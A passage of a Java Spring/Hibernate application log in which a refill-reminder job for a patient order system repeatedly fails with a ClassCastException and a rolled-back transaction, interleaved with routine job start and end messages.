org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 00:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 00:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 00:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 00:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 00:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 00:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 00:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 00:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 00:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 00:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 00:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 00:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 00:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 00:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 00:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 00:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 00:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 00:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 00:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 00:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 00:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 00:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 00:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 00:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 00:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 00:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 00:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 00:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 00:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 00:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 01:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 01:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at 